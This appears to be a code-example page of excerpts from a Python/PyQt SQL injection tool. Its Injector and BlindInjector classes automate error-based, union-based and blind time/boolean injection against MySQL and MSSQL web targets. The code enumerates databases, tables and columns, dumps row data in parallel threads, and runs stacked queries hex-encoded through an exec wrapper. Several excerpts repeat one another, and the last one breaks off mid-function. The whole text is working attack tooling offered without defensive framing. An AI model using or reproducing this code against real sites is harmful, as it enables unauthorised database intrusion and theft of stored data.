Esempio n. 1
0
 def __init__(self, vars, qstrings):
     QtCore.QThread.__init__(self)
     self.wq = HTTP_Handler()
     self.vars = vars
     self.qstrings = qstrings
     self.killed = False
     self.wq.logSignal.connect(self.logger)
Esempio n. 2
0
 def __init__(self, vars, qstrings):
     QtCore.QThread.__init__(self)
     self.vars = vars
     self.qString = qstrings.value('mssql_error_based/exec_hex')
     self.wq = HTTP_Handler()
     self.wq.logSignal.connect(self.log)
     #if defined non-standart sql server port
     self.connIP = self.vars['ip']
     if ":" in self.connIP:
         self.connIP = self.connIP.replace(":", ",")
     else:
         self.connIP += ",1433"
     #Connection String
     self.connStr = "DRIVER={SQL Server};SERVER=" + self.connIP + ";DATABASE="\
     + self.vars['db'] + ";UID=" + self.vars['username'] + ";PWD=" + self.vars['password']
Esempio n. 3
0
 def __init__(self, vars, qstrings):
     QtCore.QThread.__init__(self)
     self.wq = HTTP_Handler()
     self.vars = vars
     self.qstrings = qstrings
     self.killed = False
     self.wq.logSignal.connect(self.logger)
Esempio n. 4
0
class BlindInjector(QtCore.QThread):

    # ---------------Signals---------------#
    logSignal = QtCore.pyqtSignal(str)
    progressSignal = QtCore.pyqtSignal(int, bool)
    querySignal = QtCore.pyqtSignal(str, bool)
    trueTimeSignal = QtCore.pyqtSignal(float)
    # ----------------------------------------#

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.wq = HTTP_Handler()
        self.vars = vars
        self.qstrings = qstrings
        self.killed = False
        self.wq.logSignal.connect(self.logger)

    def run(self):
        self.logSignal.emit("\n+++ BLIND TASK STARTED +++")

        if self.vars["task"] == "delay_test":
            self.delayTest()
        else:
            self.blindTask()

        self.progressSignal.emit(0, True)
        time.sleep(0.1)

        self.logSignal.emit("\n--- BLIND TASK STOPPED ---")

    def kill(self):
        if self.isRunning():
            self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!")
        self.killed = True

    # Log
    def logger(self, strValue):
        self.logSignal.emit(strValue)

    # Current db type selected
    def blindType(self, todo):
        if self.vars["db_type"] == "MySQL":
            if self.vars["blind_inj_type"] == "Time":
                qstring = self.qstrings.value("mysql_blind_time_based/" + todo)
            else:
                qstring = self.qstrings.value("mysql_blind_boolean_based/" + todo)
        else:
            if self.vars["blind_inj_type"] == "Time":
                qstring = self.qstrings.value("mssql_blind_time_based/" + todo)
            else:
                qstring = self.qstrings.value("mssql_blind_boolean_based/" + todo)
        return qstring

    # Testing for optimal delay
    def delayTest(self):
        testLog = "Base / Delayed (0:0:" + str(self.vars["time"]) + ")\n\n"
        response = self.wq.httpRequest("", False, self.vars, True)
        query = self.wq.buildQuery(self.blindType("delay"), self.vars, {"delay": str(self.vars["time"])})

        if self.vars["hexed"]:
            hex = core.txtproc.strToHex(query, True)
            query = self.wq.buildQuery(self.qstrings.value("mssql_error_based/exec_hex"), self.vars, {"hex": hex})

        for resp in range(3):
            response = self.wq.httpRequest("", False, self.vars, True)
            testLog += str(response) + " (" + str(core.txtproc.roundTime(response)) + " sec) / "

            response = self.wq.httpRequest(query, False, self.vars, True)
            testLog += str(response) + " (" + str(core.txtproc.roundTime(response)) + " sec)\n"

            self.querySignal.emit(testLog, False)

            # If HTTP timeout occured
            try:
                if "[---Timed out---]" in response:
                    return
            except TypeError:
                pass

        testLog += "\nDone."
        self.querySignal.emit(testLog, False)

    def blindTask(self):
        self.symbol_num = 1
        self.request_counter = 0
        self.string_fetched = False
        self.symbol = ""
        self.bad_response = False
        self.bad_time = 0
        retry_counter = 0

        # First six codes of symbol ranges
        self.lowerAlphabet = [97, 98, 99, 100, 101, 102]
        self.upperAlphabet = [65, 66, 67, 68, 69, 70]
        self.numbers = [48, 49, 50, 51, 52, 53]
        self.spec_1 = [32, 33, 34, 35, 36, 37]
        self.spec_2 = [58, 59, 60, 61, 62, 63]
        self.spec_3 = [91, 92, 93, 94, 95, 96]

        start_time = time.time()

        if self.vars["blind_inj_type"] == "Time":
            # just resolving
            response = self.wq.httpRequest("", False, self.vars, True)

            # Using user-defined 'True' response time
            if not self.vars["auto_detect"]:
                self.logSignal.emit(
                    "\n====================================\n\n"
                    "[!] Autodetect skipped, using user-defined 'True' response time: "
                    + str(core.txtproc.roundTime(self.vars["true_time"]))
                    + "sec (rounding from "
                    + str(self.vars["true_time"])
                    + "; Max allowable lag time: "
                    + str(self.vars["max_lag"])
                    + ")\n\n====================================\n"
                )
                self.response = self.vars["true_time"]
            # Auto detecting time
            else:
                query = self.wq.buildQuery(self.blindType("delay"), self.vars, {"delay": str(self.vars["time"])})
                if self.vars["hexed"]:
                    hex = core.txtproc.strToHex(query, True)
                    query = self.wq.buildQuery(
                        self.qstrings.value("mssql_error_based/exec_hex"), self.vars, {"hex": hex}
                    )

                for i in range(2):
                    response = self.wq.httpRequest(query, False, self.vars, True)

                self.logSignal.emit(
                    "\n====================================\n\n"
                    "[+] Setting 'True' response time to "
                    + str(core.txtproc.roundTime(response))
                    + "sec (rounding from "
                    + str(response)
                    + "; Max allowed lag time: "
                    + str(self.vars["max_lag"])
                    + ")\n\n====================================\n"
                )

                # If HTTP timeout occured
                try:
                    if "[---Timed out---]" in response:
                        return
                except TypeError:
                    pass

                self.response = response
                self.trueTimeSignal.emit(self.response)

        # Rows count check. If more than 1 row - aborting.
        if "count(*)" not in self.vars["query_cmd"].lower():
            if "from" in self.vars["query_cmd"].lower():
                self.mode = "count"
                if self.preCheck():
                    if self.isTrue("between 50 and 57"):
                        self.querySignal.emit("Query returned more than 1 row.", True)
                        return

        self.mode = "single"

        while not (self.string_fetched or self.killed):
            if self.preCheck():
                if self.symbol == "NULL":
                    self.querySignal.emit(self.symbol, True)
                    break

                symbol_found = self.getSymbol()

                if not symbol_found:
                    if self.vars["blind_inj_type"] == "Time":
                        if not self.bad_response:
                            retry_counter = 0
                            break
                        else:
                            if retry_counter > 2:
                                self.logSignal.emit(
                                    "[!] Retried "
                                    + str(retry_counter)
                                    + " times, but server response time ("
                                    + str(self.bad_time)
                                    + ") more than maximum allowed ("
                                    + str(self.response + self.vars["max_lag"])
                                    + ")"
                                    " Try to increase maximum lag time. Stopping."
                                )
                                break
                            retry_counter += 1
                            self.logSignal.emit(
                                "!!! LAG DETECTED (response time: "
                                + str(self.bad_time)
                                + ") !!!: Retry #"
                                + str(retry_counter)
                            )
                            time.sleep(3)

                self.querySignal.emit(self.symbol, True)

        seconds = str(time.time() - start_time).split(".")
        elapsed = str(datetime.timedelta(seconds=int(seconds[0])))
        self.logSignal.emit("Total requests sent: " + str(self.request_counter) + "\nElapsed time: " + elapsed)

    def getSymbol(self):
        # Lower alphabet
        if self.isTrue("between 97 and 122"):
            self.algorythm("lower_letters", self.lowerAlphabet)
            return True

        # Upper alphabet
        if self.isTrue("between 65 and 90"):
            self.algorythm("upper_letters", self.upperAlphabet)
            return True

        # Numbers
        if self.isTrue("between 48 and 57"):
            self.algorythm("numbers", self.numbers)
            return True

        # Special symbols #1
        if self.isTrue("between 32 and 47"):
            self.algorythm("spec_1", self.spec_1)
            return True

        # Special symbols #2
        if self.isTrue("between 58 and 64"):
            self.algorythm("spec_2", self.spec_2)
            return True

        # Special symbols #3
        if self.isTrue("between 91 and 96"):
            self.algorythm("spec_3", self.spec_3)
            return True

        # Special symbols #4
        if self.isTrue("between 123 and 126"):
            self.algorythm("spec_4")
            return True

        # [new line], [tab]
        if self.isTrue("between 9 and 10"):
            self.algorythm("other")
            return True

        return False

    def preCheck(self):
        # Checking for valid response
        if not self.isTrue("between 9 and 127"):
            self.string_fetched = True
            self.logSignal.emit("[*] Finished.")
            return False

        # If request valid, but server returned NULL
        if self.isTrue("= 127"):
            self.string_fetched = True
            self.symbol = "NULL"
            return True

        return True

    def isTrue(self, condition):
        if self.mode == "single":
            query = self.wq.buildQuery(
                self.blindType("single_row"),
                self.vars,
                {"symbol_num": str(self.symbol_num), "condition": " " + condition, "delay": str(self.vars["time"])},
            )
        else:
            query = self.wq.buildQuery(
                self.blindType("rows_count"),
                self.vars,
                {"symbol_num": str(self.symbol_num), "condition": " " + condition, "delay": str(self.vars["time"])},
            )

        if self.vars["hexed"]:
            query = self.wq.buildQuery(
                self.qstrings.value("mssql_error_based/exec_hex"),
                self.vars,
                {"hex": core.txtproc.strToHex(query, True)},
            )

        self.request_counter += 1
        response = self.wq.httpRequest(query, False, self.vars, True)

        # If HTTP timeout occured
        try:
            if "[---Timed out---]" in response:
                return
        except TypeError:
            pass

        # Time based
        if self.vars["blind_inj_type"] == "Time":
            if core.txtproc.roundTime(response) >= core.txtproc.roundTime(self.response):
                self.bad_response = False
                # If response > response time + max lagging time
                if core.txtproc.roundTime(response) > (self.response + self.vars["max_lag"]):
                    self.logSignal.emit(
                        "\n!!! - UNKNOWN (response time was longer). Try to increase maximum lag time." + str(response)
                    )
                    self.bad_response = True
                    self.bad_time = response
                    return False
                return True
            else:
                return False
        # Boolean based
        else:
            return response

    # Return symbol
    def retSymbol(self, code):
        self.symbol += chr(code)
        self.symbol_num += 1

    # Generate next group of 6 codes
    def nextCodes(self, codeList):
        newCodes = []
        for code in codeList:
            newCodes.append(code + 6)
        return newCodes

    # Blind algorythm
    def algorythm(self, mode, codeList=None):
        if mode == "lower_letters" or mode == "upper_letters":
            count = 4
        elif mode == "numbers":
            count = 1
        elif mode == "spec_1":
            count = 2
        elif mode == "spec_2":
            count = 1
        elif mode == "spec_3":
            count = 1
        else:
            count = 0

        for code_group in range(1, count + 1):
            if self.killed:
                return
            if self.isTrue("in(" + ",".join(str(code) for code in codeList) + ")"):
                if self.isTrue("> " + str(codeList[1])):
                    if self.isTrue("> " + str(codeList[3])):
                        if self.isTrue("> " + str(codeList[4])):
                            self.retSymbol(codeList[5])
                        else:
                            self.retSymbol(codeList[4])
                    else:
                        if self.isTrue("> " + str(codeList[2])):
                            self.retSymbol(codeList[3])
                        else:
                            self.retSymbol(codeList[2])
                else:
                    if self.isTrue("> " + str(codeList[0])):
                        self.retSymbol(codeList[1])
                    else:
                        self.retSymbol(codeList[0])
                return True
            codeList = self.nextCodes(codeList)

        if mode == "lower_letters":
            # y, z
            if self.isTrue("> 121"):
                self.retSymbol(122)
            else:
                self.retSymbol(121)
            return True

        elif mode == "upper_letters":
            # Y, Z
            if self.isTrue("> 89"):
                self.retSymbol(90)
            else:
                self.retSymbol(89)
            return True

        elif mode == "numbers":
            # 6, 7, 8, 9
            if self.isTrue("> 56"):
                self.retSymbol(57)
            else:
                if self.isTrue("> 55"):
                    self.retSymbol(56)
                else:
                    if self.isTrue("> 54"):
                        self.retSymbol(55)
                    else:
                        self.retSymbol(54)
            return True

        elif mode == "spec_1":
            # ,- . /
            if self.isTrue("> 46"):
                self.retSymbol(47)
            else:
                if self.isTrue("> 45"):
                    self.retSymbol(46)
                else:
                    if self.isTrue("> 44"):
                        self.retSymbol(45)
                    else:
                        self.retSymbol(44)
            return True

        elif mode == "spec_2":
            # @
            self.retSymbol(64)
            return True

        elif mode == "spec_4":
            # { | } ~
            if self.isTrue("> 125"):
                self.retSymbol(126)
            else:
                if self.isTrue("> 124"):
                    self.retSymbol(125)
                else:
                    if self.isTrue("> 123"):
                        self.retSymbol(124)
                    else:
                        self.retSymbol(123)
            return True

        else:
            if self.isTrue("> 9"):
                self.retSymbol(10)
            else:
                self.retSymbol(9)
            return True

        return False
Esempio n. 5
0
class Injector(QtCore.QThread):

    # ---------------Signals---------------#
    logSignal = QtCore.pyqtSignal(str)
    progressSignal = QtCore.pyqtSignal(int, bool)
    dbSignal = QtCore.pyqtSignal(str)
    columnSignal = QtCore.pyqtSignal(str, int)
    rowDataSignal = QtCore.pyqtSignal(int, int, str)
    querySignal = QtCore.pyqtSignal(str, bool)
    tblSignal = QtCore.pyqtSignal(str)
    # ----------------------------------------#

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.wq = HTTP_Handler()
        self.vars = vars
        self.qstrings = qstrings
        self.killed = False
        self.wq.logSignal.connect(self.logger)

    def run(self):
        self.logSignal.emit("\n+++ TASK STARTED +++")

        # Tables task
        if self.vars["task"] == "tables":
            self.getTables()

        # Databases task
        if self.vars["task"] == "bases":
            self.getBases()

        # Columns task
        if self.vars["task"] == "columns":
            self.getColumns()

        # Query task
        if self.vars["task"] == "query":
            self.runQuery()

        # Dump task
        if self.vars["task"] == "dump":
            self.syncThreads()

        time.sleep(0.1)
        self.progressSignal.emit(0, True)

        self.logSignal.emit("\n--- TASK STOPPED ---")

    def kill(self):
        if self.isRunning():
            self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!")
        self.killed = True

    # Log
    def logger(self, strValue, notFunction=True):
        if notFunction:
            self.logSignal.emit(strValue)
            return
        self.logSignal.emit(strValue + "\n - [x] 'no_content' returned by function " + strValue)

    # Current db type selected
    def dbType(self, todo):
        if self.vars["db_type"] == "MySQL":
            if self.vars["inj_type"] == "ERROR-BASED":
                qstring = self.qstrings.value("mysql_error_based/" + todo)
            else:
                qstring = self.qstrings.value("mysql_union_based/" + todo)
        else:
            if self.vars["inj_type"] == "ERROR-BASED":
                qstring = self.qstrings.value("mssql_error_based/" + todo)
            else:
                qstring = self.qstrings.value("mssql_union_based/" + todo)
        return qstring

    # Get current database
    def getCurrDb(self):
        if self.vars["dbListCount"] < 1:
            query = self.wq.buildQuery(self.dbType("curr_db_name"), self.vars)
            db_name = self.wq.httpRequest(query, False, self.vars)
            if db_name == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> db_name", False)
                return "no_db"
            elif db_name == "[---Timed out---]":
                return "no_db"
            self.dbSignal.emit(db_name)
        else:
            db_name = self.vars["dbName"]
        return db_name

    # Getting bases
    def getBases(self):
        # If not in (array) method selected
        if self.vars["notInArray"]:
            current_db = self.vars["dbName"]

            while not self.killed:
                query = self.wq.buildQuery(self.dbType("get_db_name"), self.vars, {"cdb": current_db})
                db_name = self.wq.httpRequest(query, False, self.vars)
                if db_name == "no_content":
                    self.logger(sys._getframe().f_code.co_name + "() -> db_name", False)
                    return
                elif db_name == "isnull":
                    break

                current_db += ",'" + db_name + "'"
                self.dbSignal.emit(db_name)

        # not in (substring) method
        else:
            query = self.wq.buildQuery(self.dbType("dbs_count"), self.vars)
            dbCount = self.wq.httpRequest(query, False, self.vars)
            if dbCount == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> dbCount", False)
                return

            try:
                dbCount = int(dbCount)
            except ValueError as err:
                self.logger(
                    "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True
                )
                return
            if dbCount < 1:
                return

            tQueue = Queue()
            threads = []
            for tNum in range(dbCount):
                tQueue.put(tNum)
            for i in range(self.vars["threads"]):
                t = threading.Thread(target=self.mtBases, args=(tNum, tQueue, dbCount))
                threads.append(t)
                t.start()
                time.sleep(0.1)
            for thread in threads:
                thread.join()

    # Multithread tables
    def mtBases(self, tNum, tQueue, dbCount):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break

            query = self.wq.buildQuery(self.dbType("get_db_name2"), self.vars, {"num": str(tNum)})
            db_name = self.wq.httpRequest(query, False, self.vars)
            if db_name == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> db_name", False)
                return

            self.dbSignal.emit(db_name)
            time.sleep(0.1)
            tQueue.task_done()
            self.progressSignal.emit(int(dbCount) - 1, False)

    # Getting tables
    def getTables(self):
        current_db = self.getCurrDb()
        if current_db == "no_db":
            return

        query = self.wq.buildQuery(self.dbType("tbls_count"), self.vars, {"cdb": current_db})
        tblCount = self.wq.httpRequest(query, False, self.vars)
        if tblCount == "no_content":
            self.logger(sys._getframe().f_code.co_name + "() -> tblCount", False)
            return

        try:
            tblCount = int(tblCount)
        except ValueError as err:
            self.logger("\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True)
            return
        if tblCount < 1:
            return

        if self.vars["notInArray"]:
            current_table = ""

            while not self.killed:
                query = self.wq.buildQuery(
                    self.dbType("get_tbl_name"), self.vars, {"cdb": current_db, "ctbl": current_table}
                )
                table_name = self.wq.httpRequest(query, False, self.vars)
                if table_name == "no_content":
                    self.logger(sys._getframe().f_code.co_name + "() -> table_name", False)
                    return
                elif table_name == "isnull":
                    break

                current_table += ",'" + table_name + "'"
                self.tblSignal.emit(table_name)
                self.progressSignal.emit(tblCount, False)

        else:
            tQueue = Queue()
            threads = []
            for tNum in range(tblCount):
                tQueue.put(tNum)
            for i in range(self.vars["threads"]):
                t = threading.Thread(target=self.mtTables, args=(tNum, tQueue, tblCount, current_db))
                threads.append(t)
                t.start()
                time.sleep(0.1)
            for thread in threads:
                thread.join()

    # Multithread tables
    def mtTables(self, tNum, tQueue, tblCount, current_db):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break

            query = self.wq.buildQuery(self.dbType("get_tbl_name2"), self.vars, {"cdb": current_db, "num": str(tNum)})
            table_name = self.wq.httpRequest(query, False, self.vars)
            if table_name == "no_content":
                self.logger(sys._getframe().f_code.co_name + "() -> table_name", False)
                return

            self.tblSignal.emit(table_name)
            time.sleep(0.1)
            tQueue.task_done()
            self.progressSignal.emit(int(tblCount) - 1, False)

    # Getitng columns
    def getColumns(self):
        current_db = self.getCurrDb()
        if current_db == "no_db":
            return

        tables = self.vars["tables"]
        # If not in(array) method selected:
        if self.vars["notInArray"]:
            for i in range(self.vars["tblTreeCount"]):
                current_table = core.txtproc.strToSqlChar(tables[i], self.vars["db_type"])
                current_column = ""

                query = self.wq.buildQuery(
                    self.dbType("columns_count"), self.vars, {"cdb": current_db, "ctbl": current_table}
                )
                columnsInTable = self.wq.httpRequest(query, False, self.vars)
                if columnsInTable == "no_content":
                    self.logger(sys._getframe().f_code.co_name + "() -> notInArray -> columnsinTable", False)
                    return

                try:
                    columnsInTable = int(columnsInTable)
                except ValueError as err:
                    self.logger(
                        "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True
                    )
                    return
                if columnsInTable < 1:
                    return

                while not self.killed:
                    query = self.wq.buildQuery(
                        self.dbType("get_column_name"),
                        self.vars,
                        {"cdb": current_db, "ctbl": current_table, "ccol": current_column},
                    )
                    column_name = self.wq.httpRequest(query, False, self.vars)
                    if column_name == "no_content":
                        self.logger(sys._getframe().f_code.co_name + "() -> notInArray -> column_name", False)
                        return
                    elif column_name == "isnull":
                        break

                    current_column += ",'" + column_name + "'"
                    self.columnSignal.emit(column_name, i)
                    self.progressSignal.emit(columnsInTable, False)

        else:
            for i in range(self.vars["tblTreeCount"]):
                current_table = core.txtproc.strToSqlChar(tables[i], self.vars["db_type"])

                query = self.wq.buildQuery(
                    self.dbType("columns_count"), self.vars, {"cdb": current_db, "ctbl": current_table}
                )
                columnsInTable = self.wq.httpRequest(query, False, self.vars)
                if columnsInTable == "no_content":
                    self.logger(sys._getframe().f_code.co_name + "() -> columnsinTable", False)
                    return

                try:
                    columnsInTable = int(columnsInTable)
                except ValueError as err:
                    self.logger(
                        "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True
                    )
                    return
                if columnsInTable < 1:
                    return

                for rowid in range(columnsInTable):
                    if self.killed:
                        return

                    # If not in(substring) method selected:
                    if self.vars["notInSubstring"] or self.vars["LIMIT"]:
                        query = self.wq.buildQuery(
                            self.dbType("get_column_name2"),
                            self.vars,
                            {"cdb": current_db, "ctbl": current_table, "num": str(rowid)},
                        )

                    # If ordinal_position method selected:
                    elif self.vars["ordinal_position"]:
                        rowid += 1
                        query = self.wq.buildQuery(
                            self.dbType("get_column_name3"),
                            self.vars,
                            {"cdb": current_db, "ctbl": current_table, "num": str(rowid)},
                        )

                    column_name = self.wq.httpRequest(query, False, self.vars)
                    if column_name == "no_content":
                        self.logger(sys._getframe().f_code.co_name + "() -> notInSubstring -> column_name", False)
                        return

                    self.columnSignal.emit(column_name, i)
                    self.progressSignal.emit(int(columnsInTable), False)

    # Run Query
    def runQuery(self):
        # If this select command
        if not self.vars["isStacked"]:
            query = self.wq.buildQuery(self.dbType("query"), self.vars)
            result = self.wq.httpRequest(query, False, self.vars)
        else:
            result = "NULL"
            if self.vars["hexed"]:
                query = self.wq.buildQuery(
                    self.dbType("exec_hex"), self.vars, {"hex": core.txtproc.strToHex(self.vars["query_cmd"], True)}
                )
            else:
                query = self.vars["query_cmd"]
            self.wq.httpRequest(query, True, self.vars)
        self.querySignal.emit(result, False)

    # Making synchronized threads for dumper
    def syncThreads(self):
        current_db = self.getCurrDb()
        if current_db == "no_db":
            return
        columns = self.vars["columns"]
        threads = []
        for num in range(len(columns)):
            tQueue = Queue()
            for tNum in range(self.vars["fromPos"] + 1, self.vars["toPos"] + 1):
                tQueue.put(tNum)
            for i in range(self.vars["threads"]):
                t = threading.Thread(target=self.doDump, args=(tNum, tQueue, current_db, str(columns[num]), num))
                threads.append(t)
                t.start()
                time.sleep(0.1)
        for thread in threads:
            thread.join()

    # Data dumping
    def doDump(self, tNum, tQueue, current_db, column, num):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break

            query = self.wq.buildQuery(
                self.dbType("data_dump"), self.vars, {"cdb": current_db, "column": column, "num": str(tNum)}
            )
            rowData = self.wq.httpRequest(query, False, self.vars)
            if rowData == "no_content":
                rowData = "NULL"

            self.rowDataSignal.emit(tNum, num, rowData)
            self.progressSignal.emit(-1, False)
            time.sleep(0.1)
            tQueue.task_done()
Esempio n. 6
0
class BlindInjector(QtCore.QThread):

    #---------------Signals---------------#
    logSignal = QtCore.pyqtSignal(str)
    progressSignal = QtCore.pyqtSignal(int, bool)
    querySignal = QtCore.pyqtSignal(str, bool)
    trueTimeSignal = QtCore.pyqtSignal(float)

    #----------------------------------------#

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.wq = HTTP_Handler()
        self.vars = vars
        self.qstrings = qstrings
        self.killed = False
        self.wq.logSignal.connect(self.logger)

    def run(self):
        self.logSignal.emit("\n+++ BLIND TASK STARTED +++")

        if self.vars['task'] == "delay_test":
            self.delayTest()
        else:
            self.blindTask()

        self.progressSignal.emit(0, True)
        time.sleep(0.1)

        self.logSignal.emit("\n--- BLIND TASK STOPPED ---")

    def kill(self):
        if self.isRunning():
            self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!")
        self.killed = True

    #Log
    def logger(self, strValue):
        self.logSignal.emit(strValue)

    #Current db type selected
    def blindType(self, todo):
        if self.vars['db_type'] == "MySQL":
            if self.vars['blind_inj_type'] == "Time":
                qstring = self.qstrings.value('mysql_blind_time_based/' + todo)
            else:
                qstring = self.qstrings.value('mysql_blind_boolean_based/' +
                                              todo)
        else:
            if self.vars['blind_inj_type'] == "Time":
                qstring = self.qstrings.value('mssql_blind_time_based/' + todo)
            else:
                qstring = self.qstrings.value('mssql_blind_boolean_based/' +
                                              todo)
        return qstring

    #Testing for optimal delay
    def delayTest(self):
        testLog = "Base / Delayed (0:0:" + str(self.vars['time']) + ")\n\n"
        response = self.wq.httpRequest("", False, self.vars, True)
        query = self.wq.buildQuery(self.blindType('delay'), self.vars,
                                   {'delay': str(self.vars['time'])})

        if self.vars['hexed']:
            hex = core.txtproc.strToHex(query, True)
            query = self.wq.buildQuery(
                self.qstrings.value('mssql_error_based/exec_hex'), self.vars,
                {'hex': hex})

        for resp in range(3):
            response = self.wq.httpRequest("", False, self.vars, True)
            testLog += str(response) + " (" + str(
                core.txtproc.roundTime(response)) + " sec) / "

            response = self.wq.httpRequest(query, False, self.vars, True)
            testLog += str(response) + " (" + str(
                core.txtproc.roundTime(response)) + " sec)\n"

            self.querySignal.emit(testLog, False)

            #If HTTP timeout occured
            try:
                if "[---Timed out---]" in response:
                    return
            except TypeError:
                pass

        testLog += "\nDone."
        self.querySignal.emit(testLog, False)

    def blindTask(self):
        self.symbol_num = 1
        self.request_counter = 0
        self.string_fetched = False
        self.symbol = ""
        self.bad_response = False
        self.bad_time = 0
        retry_counter = 0

        #First six codes of symbol ranges
        self.lowerAlphabet = [97, 98, 99, 100, 101, 102]
        self.upperAlphabet = [65, 66, 67, 68, 69, 70]
        self.numbers = [48, 49, 50, 51, 52, 53]
        self.spec_1 = [32, 33, 34, 35, 36, 37]
        self.spec_2 = [58, 59, 60, 61, 62, 63]
        self.spec_3 = [91, 92, 93, 94, 95, 96]

        start_time = time.time()

        if self.vars['blind_inj_type'] == "Time":
            #just resolving
            response = self.wq.httpRequest("", False, self.vars, True)

            #Using user-defined 'True' response time
            if not self.vars['auto_detect']:
                self.logSignal.emit("\n====================================\n\n"\
                "[!] Autodetect skipped, using user-defined 'True' response time: " + str(core.txtproc.roundTime(self.vars['true_time'])) +\
                "sec (rounding from " + str(self.vars['true_time']) + "; Max allowable lag time: " + str(self.vars['max_lag']) +\
                ")\n\n====================================\n")
                self.response = self.vars['true_time']
            #Auto detecting time
            else:
                query = self.wq.buildQuery(self.blindType('delay'), self.vars,
                                           {'delay': str(self.vars['time'])})
                if self.vars['hexed']:
                    hex = core.txtproc.strToHex(query, True)
                    query = self.wq.buildQuery(
                        self.qstrings.value('mssql_error_based/exec_hex'),
                        self.vars, {'hex': hex})

                for i in range(2):
                    response = self.wq.httpRequest(query, False, self.vars,
                                                   True)

                self.logSignal.emit("\n====================================\n\n"\
                "[+] Setting 'True' response time to " + str(core.txtproc.roundTime(response)) +\
                "sec (rounding from " + str(response) + "; Max allowed lag time: " + str(self.vars['max_lag']) +\
                ")\n\n====================================\n")

                #If HTTP timeout occured
                try:
                    if "[---Timed out---]" in response:
                        return
                except TypeError:
                    pass

                self.response = response
                self.trueTimeSignal.emit(self.response)

        #Rows count check. If more than 1 row - aborting.
        if "count(*)" not in self.vars['query_cmd'].lower():
            if "from" in self.vars['query_cmd'].lower():
                self.mode = "count"
                if self.preCheck():
                    if self.isTrue("between 50 and 57"):
                        self.querySignal.emit(
                            "Query returned more than 1 row.", True)
                        return

        self.mode = "single"

        while not (self.string_fetched or self.killed):
            if self.preCheck():
                if self.symbol == "NULL":
                    self.querySignal.emit(self.symbol, True)
                    break

                symbol_found = self.getSymbol()

                if not symbol_found:
                    if self.vars['blind_inj_type'] == "Time":
                        if not self.bad_response:
                            retry_counter = 0
                            break
                        else:
                            if retry_counter > 2:
                                self.logSignal.emit("[!] Retried " + str(retry_counter) + \
                                " times, but server response time (" + str(self.bad_time) +\
                                ") more than maximum allowed (" + str(self.response + self.vars['max_lag'])+ ")"\
                                " Try to increase maximum lag time. Stopping.")
                                break
                            retry_counter += 1
                            self.logSignal.emit(
                                "!!! LAG DETECTED (response time: " +
                                str(self.bad_time) + ") !!!: Retry #" +
                                str(retry_counter))
                            time.sleep(3)

                self.querySignal.emit(self.symbol, True)

        seconds = str(time.time() - start_time).split('.')
        elapsed = str(datetime.timedelta(seconds=int(seconds[0])))
        self.logSignal.emit("Total requests sent: " +
                            str(self.request_counter) + "\nElapsed time: " +
                            elapsed)

    def getSymbol(self):
        #Lower alphabet
        if self.isTrue("between 97 and 122"):
            self.algorythm("lower_letters", self.lowerAlphabet)
            return True

        #Upper alphabet
        if self.isTrue("between 65 and 90"):
            self.algorythm("upper_letters", self.upperAlphabet)
            return True

        #Numbers
        if self.isTrue("between 48 and 57"):
            self.algorythm("numbers", self.numbers)
            return True

        #Special symbols #1
        if self.isTrue("between 32 and 47"):
            self.algorythm("spec_1", self.spec_1)
            return True

        #Special symbols #2
        if self.isTrue("between 58 and 64"):
            self.algorythm("spec_2", self.spec_2)
            return True

        #Special symbols #3
        if self.isTrue("between 91 and 96"):
            self.algorythm("spec_3", self.spec_3)
            return True

        #Special symbols #4
        if self.isTrue("between 123 and 126"):
            self.algorythm("spec_4")
            return True

        #[new line], [tab]
        if self.isTrue("between 9 and 10"):
            self.algorythm("other")
            return True

        return False

    def preCheck(self):
        #Checking for valid response
        if not self.isTrue("between 9 and 127"):
            self.string_fetched = True
            self.logSignal.emit("[*] Finished.")
            return False

        #If request valid, but server returned NULL
        if self.isTrue("= 127"):
            self.string_fetched = True
            self.symbol = "NULL"
            return True

        return True

    def isTrue(self, condition):
        if self.mode == "single":
            query = self.wq.buildQuery(self.blindType('single_row'), self.vars,\
                                        {'symbol_num' : str(self.symbol_num), 'condition' : " " + condition, 'delay' : str(self.vars['time'])})
        else:
            query = self.wq.buildQuery(self.blindType('rows_count'), self.vars,\
                                        {'symbol_num' : str(self.symbol_num), 'condition' : " " + condition, 'delay' : str(self.vars['time'])})

        if self.vars['hexed']:
            query = self.wq.buildQuery(
                self.qstrings.value('mssql_error_based/exec_hex'), self.vars,
                {'hex': core.txtproc.strToHex(query, True)})

        self.request_counter += 1
        response = self.wq.httpRequest(query, False, self.vars, True)

        #If HTTP timeout occured
        try:
            if "[---Timed out---]" in response:
                return
        except TypeError:
            pass

        #Time based
        if self.vars['blind_inj_type'] == "Time":
            if (core.txtproc.roundTime(response) >= core.txtproc.roundTime(
                    self.response)):
                self.bad_response = False
                #If response > response time + max lagging time
                if (core.txtproc.roundTime(response) >
                    (self.response + self.vars['max_lag'])):
                    self.logSignal.emit(
                        "\n!!! - UNKNOWN (response time was longer). Try to increase maximum lag time."
                        + str(response))
                    self.bad_response = True
                    self.bad_time = response
                    return False
                return True
            else:
                return False
        #Boolean based
        else:
            return response

    #Return symbol
    def retSymbol(self, code):
        self.symbol += chr(code)
        self.symbol_num += 1

    #Generate next group of 6 codes
    def nextCodes(self, codeList):
        newCodes = []
        for code in codeList:
            newCodes.append(code + 6)
        return (newCodes)

    #Blind algorythm
    def algorythm(self, mode, codeList=None):
        if (mode == "lower_letters" or mode == "upper_letters"):
            count = 4
        elif mode == "numbers":
            count = 1
        elif mode == "spec_1":
            count = 2
        elif mode == "spec_2":
            count = 1
        elif mode == "spec_3":
            count = 1
        else:
            count = 0

        for code_group in range(1, count + 1):
            if self.killed:
                return
